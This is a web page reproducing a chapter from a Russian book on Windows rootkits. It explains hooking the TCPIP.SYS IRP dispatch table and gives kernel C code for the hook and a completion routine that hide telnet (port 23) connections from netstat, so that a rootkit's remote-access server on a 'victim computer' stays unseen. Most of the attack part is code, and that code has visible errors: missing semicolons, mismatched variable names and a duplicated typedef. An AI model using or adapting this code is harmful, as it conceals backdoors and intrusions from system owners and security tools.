Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

12.4. Сокрытие соединений (таблица IRP)

Мы уже рассмотрели два способа установки ловушек в ядре - в первом случае мы поместили ловушку в таблицу SSDT, а во втором - в IDT. Но в ядре есть еще одно место, в которое можно поместить ловушку - это таблица функций, имеющаяся в каждом драйвере устройств. Сразу после установки драйвер инициализирует таблицы функций - в ней содержатся адреса функций, обслуживающих различные типы пакетов IRP (I/O Request Packets). IRP управляют несколькими видами запросов, например, запись, чтение. Поскольку драйверы устройств слабо проверяются антируткитными средствами, IRP-таблица - это идеальное место для установки ловушки.

Рассмотрим стандартные типы IRP-пактов, определенные в Microsoft DDK:

#define IRP_MJ_CREATE                          0x00

#define IRP_MJ_CREATE_NAMED_PIPE               0x01

#define IRP_MJ_CLOSE                           0x02

#define IRP_MJ_READ                            0x03

#define IRP_MJ_WRITE                           0x04

#define IRP_MJ_QUERY_INFORMATION               0x05

#define IRP_MJ_SET_INFORMATION                 0x06

#define IRP_MJ_QUERY_EA                        0x07

#define IRP_MJ_SET_EA                          0x08

#define IRP_MJ_FLUSH_BUFFERS                   0x09

#define IRP_MJ_QUERY_VOLUME_INFORMATION        0x0a

#define IRP_MJ_SET_VOLUME_INFORMATION          0x0b

#define IRP_MJ_DIRECTORY_CONTROL               0x0c

#define IRP_MJ_FILE_SYSTEM_CONTROL             0x0d

#define IRP_MJ_DEVICE_CONTROL                  0x0e

#define IRP_MJ_INTERNAL_DEVICE_CONTROL         0x0f

#define IRP_MJ_SHUTDOWN                        0x10

#define IRP_MJ_LOCK_CONTROL                    0x11

#define IRP_MJ_CLEANUP                         0x12

#define IRP_MJ_CREATE_MAILSLOT                 0x13

#define IRP_MJ_QUERY_SECURITY                  0x14

#define IRP_MJ_SET_SECURITY                    0x15

#define IRP_MJ_POWER                           0x16

#define IRP_MJ_SYSTEM_CONTROL                 0x17

#define IRP_MJ_DEVICE_CHANGE                   0x18

#define IRP_MJ_QUERY_QUOTA                     0x19

#define IRP_MJ_SET_QUOTA                       0x1a

#define IRP_MJ_PNP                             0x1b

#define IRP_MJ_MAXIMUM_FUNCTION                0x1b

Какой драйвер и какие его IRP использовать? Это зависит от того, что вы хотите сделать. Надеюсь, вы понимаете, в чем дело. IDT - одна-единственная (ну, несколько - в случае многопроцессорной машины), а IRP-таблицы разные - у каждого драйвера своя. Если вы, например, хотите скрыть TCP-соединение, вы должны установить ловушку для IRP-таблицы драйвера TCPIP.SYS. В этой главе мы рассмотрим ловушку именно для этого драйвера. Если же рассматривать все возможные драйверы, то и книги не хватит.

В этой главе мы рассмотрим, как скрыть сетевые порты. Это очень важно - ведь в большинстве случае руткит будет использовать TCP-соединения для предоставления удаленного доступа. Процесс, предоставляющий удаленный доступ скрыть труда не составит - мы совсем недавно с этим разбирались. Но вот программы вроде netstat (рис. 12.2) смогут отобразить процесс, который установил TCP-соединения. Если мы установим ловушку в IRP драйвера TCPIP.SYS, наши порты никто не увидит.

Рис. 12.2. Типичный вывод netstat

Программа netstat показывает протокол, локальный, удаленный адреса, номера портов и состояние соединения.

Примечание. Сокрытие соединений с помощью IRP поможет уберечься от глаз пользователя, умеющего пользоваться программой netstat и некоторых локальных IDS.  Но используя данный метод вы не сможете уберечься от сетевой IDS. Как ее "обойти"? Читайте книгу дальше - об этом мы обязательно поговорим.

Первое, что нам нужно сделать для перехвата IRP-таблицы - это определиться с драйвером и связанным с ним устройством. В нашем случае драйвером будет TCPIP.SYS, а устройством - \\DEVICE\\TCP. Но мы не можем просто указать имя файла драйвера, мы должны использовать объект драйвера. Для этого используется функция IoGetDeviceObjectPointer. Данной функции нужно передать имя устройства, а на выходе получим объект файла (PFILE_OBJECT) и объект устройства (PDRIVER_OBJECT). Объект устройства содержит указатели на объект драйвера, который содержит таблицу функций (см. рис. 12.3.).

Рис. 12.3. Объект устройства и объект драйвера

Как обычно, руткит должен сохранить адрес оригинальной функции, для которой вы хотите установить ловушку. После того, как ваша функция сделает все необходимые действия, она может вызвать оригинальную функцию - чтобы никто ничего не заподозрил. Также адрес исходной функции нужен при выгрузке руткита из памяти - если вы захотите это сделать. Для установки ловушки мы будем использовать функцию InterlockedExchange().

Следующий код получает указатель на драйвер TCPIP.SYS (по заданному имени устройства - \\DEVICE\\TCP) и устанавливает ловушку для IRP_MJ_DEVICE_CONTROL (используется для управления TCP-устройством).

#include "ntddk.h"

#include "tdiinfo.h"

PFILE_OBJECT ptr_file;

PDEVICE_OBJECT ptr_dev_tcp;

PDEVICE_OBJECT ptr_dev_tcpip

typedef NTSTATUS (*Prev_IRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);

Prev_IRPMJDEVICECONTROL prev_func;

NTSTATUS Install_Hook()

{

 NTSTATUS       s;

 UNICODE_STRING dev_unicode;

 WCHAR dev_name[]  = L"\\Device\\Tcp";

 ptr_file      = NULL;

 ptr_dev_tcp   = NULL;

 ptr_dev_tcpip = NULL;

RtlInitUnicodeString (&dev_unicode, dev_name);

s = IoGetDeviceObjectPointer(&dev_unicode, FILE_READ_DATA, &ptr_file, &ptr_dev_tcp);

if(!NT_SUCCESS(s)) return s;

ptr_dev_tcpip = ptr_dev_tcp->DriverObject;

// сохраняем предыдущую (оригинальную) функицю

prev_func = ptr_dev_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];

// устанавливаем ловушку - функцию с именем hook

if (prev_func)

InterlockedExchange ((PLONG)&ptr_dev_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)hook);

     

return STATUS_SUCCESS;

}

Нам осталось только написать саму функцию hook(). Это и будет самой сложной частью нашего задания. При разработке этой функции нам нужно учитывать разные типы IRP-запросов для драйвера TCPIP.SYS - ведь кроме IRP_MJ_DEVICE_CONTROL есть еще и другие запросы. Это было первое, что нам нужно учитывать. А второе - это код управления ввода выводом - IoControlCode. Если он равен IOCTL_TCP_QUERY_INFORMATION_EX, то драйвер обязан предоставить программе вроде netstat.exe информацию обо всех соединениях (обо всех открытых портах).

Буфер входящих запросов нужно привести к типу TDIObjectID:

#define CO_TL_ENTITY 0x400;

#define CL_TL_ENTITY 0x401;

#define IOCTL_TP_QUERY_INFORMATION_EX 0x00120003

typedef struct TDIEntityID {

      ulong tei_entity;

      ulong tei_instance;

} TDIEntityID;

typedef struct TDIObjectID {

TDIEntityID toi_entity;

ulong toi_class;

ulong toi_idl

} TDIObjectID;

Следующий шаг - мы должны найти буфер ввода и привести его к типу TDIObjectID. Последнее сделать несложно. Самое главное - найти буфер ввода. Для передачи своих запросов netstats, ядро и пользовательские программы используют метод METHOD_NEITHER. При использовании этого метода буфер ввода можно найти в поле Parameterts.DeviceIoControl.Type3InputBuffer IRP-стека. Сам IRP стек можно получить с помощью функции IoGetCurrentIrpStackLocation:

PIO_STACK_LOCATION irp_stack;

irp_stack =  IoGetCurrentIrpStackLocation(Irp);

Буфер ввода можно получить и привести к типу TDIObjectID с помощью следующего оператора:

inpbuf = (TDIObjectID *) irp_stack->Parameters.DeviceIoControl.Type3InputBuffer;

Для сокрытия TCP-портов мы будем использовать запросы объекта CO_TL_ENTITY, а для UDP-портов - CL_TL_ENTITY. Также нужно учитывать поле toi_id структуры TDIObjectID - с его помощью можно определить, какие опции пользователь указал при вызове netstat (например, netstat -o).   Поскольку буфер ввода приведен к типу TDIObjectID, то поле tui_entity.tei_entity должно содержать CO_TL_ENTITY для TCP-портов и CL_TL_ENTITY - для UDP-портов.

Последний шаг - это разработка собственной функции IoCompletionRoutine (о ней мы поговорим позже), которая является частью IRP-стека. Менеджер ввода/вывода вызывает эту функцию, когда ваш драйвер (TCPIP.SYS) закончил обрабатывать IRP-пакеты и заполнил буфер вывода всей необходимой информацией. Передать информацию IoCompletionRoutine можно через irp_stack->Context.  Очевидно, нужно передать ей два параметра. Первый - это адрес исходной функции IoCompletionRoutine, а второй - это значение inpbuf->toi_id - чтобы функция могла определить формат буфера вывода.

Запутались? Ничего сейчас мы рассмотрим полный код функции-ловушки, который все поставит на свои места:

NTSTATUS hook (IN PDEVICE_OBJECT Device, IN PIRP Irp)

{

// указатель на IRP-стек, где сохранены коды IRP-функций

  PIO_STACK_LOCATION      sirp;      

// метод передачи (нас интересует METHOD_NEITHER)

  ULONG                   io_transType;

// буфер ввода

  TDIObjectID             *inpbuf;

// параметры для IoCompletionRoutine

  DWORD                   context;

// Получаем указатель на текущий

sirp = IoGetCurrentIrpStackLocation(Irp);

switch (sirp->MajorFunction)

{

case IRP_MJ_DEVICE_CONTROL:

if ((sirp->MinorFunction == 0) &&

   (sirp->Parameters.DeviceIoControl.IoControlCode == 

                                           IOCTL_TCP_QUERY_INFORMATION_EX))

 {

  io_transType = sirp->Parameters.DeviceIoControl.IoControlCode;

  io_transType &= 3;

  if (io_transType == METHOD_NEITHER)

      {

    inpbuf=(TDIObjectID *)sirp->Parameters.DeviceIoControl.Type3InputBuffer;

           

// TCP-пакеты - CO_TL_ENTITY            

   if (inpbuf->toi_entity.tei_entity == CO_TL_ENTITY)

      {

            if ((inpbuf->toi_id == 0x101)

            || (inpbuf->toi_id == 0x102)

            || (inpbuf->toi_id == 0x110))

            {

                  // вызываем IoCompletionRoutine, если IRP - успешен

             sirp->Control = 0;

             sirp->Control |= SL_INVOKE_ON_SUCCESS;

             sirp->Context = (PIO_COMPLETION_ROUTINE)  

                          ExAllocatePool(NonPagedPool, sizeof(REQINFO));

            ((PREQINFO)sirp->Context)->OldCompletion =

sirp->CompletionRoutine;

           

            ((PREQINFO)sirp->Context)->ReqType = inpbuf->toi_id;

            sirp->CompletionRoutine =              

                     (PIO_COMPLETION_ROUTINE)Completion;

            }

      }

}

}

break;

           

default: break;

}

// вызываем исходную функцию управления устройством

  return prev_func(Device, Irp);

}

Теперь перейдем к разработке нашего варианта функции IoCompletionRoutine, только она у нас будет называться проще - Completion. Она будет еще сложнее, чем предыдущая. И вообще, если вы новичок в создании руткитов и программировании ядра, вам будет сложно со всем этим разобраться, поэтому в конце этой главы я приведу полный исходных код этого руткита и гибридного, который мы будем рассматривать дальше.

Оказывается, все, что было сделано выше - это только для того, чтобы добавить в стек IRP завершающую функцию (CompletionRoutine). Только с ее помощью можно перехватить информацию о сетевых соединениях, которая возвращается драйвером. Ведь обработчик IRP (наша функция hook) не в состоянии этого сделать - так уж было задумано Microsoft. Очевидно, для большей безопасности, но мы и это обошли.

Как уже было отмечено, завершающая процедура вызывается после того, как TCPIP.SYS заполнил буфер вывода. Надеюсь, вы понимаете к чему тут буферы ввода/вывода? Программа подает запрос - он попадает на буфер ввода, обрабатывается драйвером и попадает на буфер вывода. Самое сложное в том, что структура буфера вывода зависит от параметров, которые пользователь указал при вызове netstat. А набор самих параметров зависит от используемой операционной системы (точнее ее версии). Например, опция -o программы netstat позволяет вывести PID процессов, которым принадлежат открытые порты (рис. 12.4). Потом с помощью tasklist можно найти исполнимый файл процесса по его PID (рис. 12.5)

Рис. 12.4. Выводим PID владельцев портов

Рис. 12.5. Выводим список задач

Если netstat запущен с ключом -o, TCPIP.SYS возвращает буфер структуры CONNINFO102. Если же netstat запущен с ключом ‑b, то у буфера будет структура CONNINFO110. Во всех остальных случаях у буфера будет структура CONNINFO101. Рассмотрим все эти структуры:

#define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8))

 

typedef struct _CONNINFO101 {

unsigned long status;

unsigned long src_addr;

unsigned short src_port;

unsigned short unk1;

unsigned long dst_addr;

unsigned short dst_port;

unsigned short unk2;

} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {

unsigned long status;

unsigned long src_addr;

unsigned short src_port;

unsigned short unk1;

unsigned long dst_addr;

unsigned short dst_port;

unsigned short unk2;

unsigned long pid;

} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {

unsigned long size;

unsigned long status;

unsigned long src_addr;

unsigned short src_port;

unsigned short unk1;

unsigned long dst_addr;

unsigned short dst_port;

unsigned short unk2;

unsigned long pid;

PVOID unk3[35];

} CONNINFO102, *PCONNINFO102;

Функция Completion получает указатель Context, для которого функция hook выделила память. Context - это указатель на данные типа PREQINFO. Вы будете использовать его для отслеживания соединений. Каждое соединение находится в определенном состоянии:

Вы уже догадались, что к чему? Установив нулевой статус соединения, мы спрячем все нужные нам соединения. В нашем случае, мы спрячем все соединения по 23 порту (telnet). Тогда руткит свободно сможет запустить собственный telnet-сервер на компьютере-жертве, предоставив вам telnet-доступ к компьютеру. Вот она наша функция Completion:

NTSTATUS Completion(IN PDEVICE_OBJECT Device, IN PIRP Irp,

                             IN PVOID Context)

{

 PVOID outbuf;          // буфер вывода

 DWORD numbufs;         // количество буферов вывода

 PIO_COMPLETION_ROUTINE p_cRoutine;

 DWORD i;               // просто счетчик

 outbuf = Irp->UserBuffer;

 // получаем предыдущую CompletionRoutine, полученную через Context

p_cRoutine = ((PREQINFO)Context)->OldCompletion;

if (((PREQINFO)Context)->ReqType == 0x101)

{

 numbufs = Irp->IoStatus.Information / sizeof(CONNINFO101);

  for(i = 0; i < NumOutputBuffers; i++)

      {

      // Прячем все соединения по 23 порту (telnet)

      if (HTONS(((PCONNINFO101)outbuf)[i].dst_port) == 23)

         ((PCONNINFO101)outbuf)[i].status = 0;

      }

      }

      else if (((PREQINFO)Context)->ReqType == 0x102)

      {

      numbufs = Irp->IoStatus.Information / sizeof(CONNINFO102);

      for(i = 0; i < NumOutputBuffers; i++)

      {

      // Прячем все соединения по 23 порту (telnet)

      if (HTONS(((PCONNINFO102)outbuf)[i].dst_port) == 23)

            ((PCONNINFO102)outbuf)[i].status = 0;

       }

      }

      else if (((PREQINFO)Context)->ReqType == 0x110)

      {

       numbufs = Irp->IoStatus.Information / sizeof(CONNINFO110);

       for(i = 0; i < NumOutputBuffers; i++)

        {

         if (HTONS(((PCONNINFO110)outbuf)[i].dst_port) == 23)

            ((PCONNINFO110)outputbuf)[i].status = 0;

            }

      }

      ExFreePool(Context);

      if ((Irp->StackCount > (ULONG)1) && (p_cRoutine != NULL))

      {

            return (p_cRoutine)(Device, Irp, NULL);

      }

      else

      {

            return Irp->IoStatus.Status;

      }

}

На главную

Мне нравится!

Сегодня: 19/01

Поздравлять сегодня некого

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

GIMP 2 - бесплатный аналог Photoshop для Windows/Linux/Mac OS: 2-е издGIMP 2 - бесплатный аналог Photoshop для Windows/Linux/Mac OS: 2-е изд
Рассматривается работа с бесплатным и свободно распространяемым популярным графическим редактором GIMP. Материалы второго издания книги основаны на версиях GIMP 2.6.7 и 2.7.0.                                                                                                                              

Командная строка Linux и автоматизация рутинных задачКомандная строка Linux и автоматизация рутинных задач
Рассмотрены команды Linux, основы работы в командной строке, а также настройка системы с помощью программ, обладающих только текстовым интерфейсом. Работа с системой выполняется только в режиме консоли, что требует определенной квалификации пользоват                                                   

GIMP 2. Бесплатный аналог Photoshop для Windows/Linux/Mac OSGIMP 2. Бесплатный аналог Photoshop для Windows/Linux/Mac OS
Рассматривается работа с бесплатным и свободно распространяемым популярным графическим редактором GIMP.                                                                                                                                                                                                      

PHP

PHP 5/6 и MySQL 6. Разработка Web-приложенийPHP 5/6 и MySQL 6. Разработка Web-приложений
На практических примерах описана разработка Web-приложений на языке PHP версий 5 и 6. Лучшая моя книга по PHP, ищите в продаже 3-е издание! Издательство БХВ- Петербург                                                                                                                                      

PHP и MySQL. Разработка веб-приложений. 5-е изд.PHP и MySQL. Разработка веб-приложений. 5-е изд.
Даны начала программирования на PHP: установка и настройка Apache, PHP и MySQL, а также кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP. Рассмотрено создание собственного движка сайта и ряда доп                                                   

PHP 5/6 и MySQL 6. Разработка Web-приложений. 2-е издPHP 5/6 и MySQL 6. Разработка Web-приложений. 2-е изд
На практических примерах описана разработка Web-приложений на языке PHP версий 5 и 6. Большая часть кода примеров совместима с обеими версиями PHP, но особое внимание уделено новым функциям PHP 6. Даны начала программирования на PHP: установка и наст                                                   

Интернет/CMS

Joomla 1.5. Руководство пользователяJoomla 1.5. Руководство пользователя
Эта книга - простое и эффективное учебное пособие по освоению и использованию системы управления контентом веб-сайта Joomla 1.5.                                                                                                                                                                             

Самоучитель Joomla!Самоучитель Joomla!
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки построить свой сайт, так и на разработчиков, которые заинтересованы в создании собственных расширений и шаблонов для популярной системы управления контентом                                                   

Блоги: создание, раскрутка, заработокБлоги: создание, раскрутка, заработок
Эта книга — практическое руководство по созданию и продвижению блога, его раскрутке и популяризации, а также превращению в инструмент, приносящий реальные доходы.                                                                                                                                           

Компьютер/Windows

Нетбук для экономныхНетбук для экономных
Книга предназначена в первую очередь для экономных пользователей. Упор делается на выбор недорогого нетбука и бесплатных программ.                                                                                                                                                                           

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Супер Флешка. 150 лучших программ, игр и утилит, работающих прямо с флешкиСупер Флешка. 150 лучших программ, игр и утилит, работающих прямо с флешки
На сегодняшний день практически у каждого пользователя компьютера имеется флешка, которая используется для переноса файлов                                                                                                                                                                                   

Сети

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Безопасность

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Автомобили

Что делать, чтобы не надули в автосервисе. Советы и рекомендацииЧто делать, чтобы не надули в автосервисе. Советы и рекомендации
Вы недавно приобрели автомобиль или уже имеете водительский стаж, но при этом особо не вникаете в устройство автомобиля?                                                                                                                                                                                     

Контраварийное вождение. Советы - Best. Советует и рекомендует президент клуба BMWКонтраварийное вождение. Советы - Best. Советует и рекомендует президент клуба BMW
Ценность этой книги в том, что впервые советы по контраварийному вождению вам будет давать проверенный профи...                                                                                                                                                                                              

Новичок за рулем 2. Выбор автомобиля, дальняя поездка...Новичок за рулем 2. Выбор автомобиля, дальняя поездка...
Книга вторая. Желательно прочтение первой книги. Рекомендуется всем начинающим (и не только) водителям/ . Текст этой книги бесплатно доступен в моем блоге http://dkws.net                                                                                                                                   

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Статьи

Rambler's Top100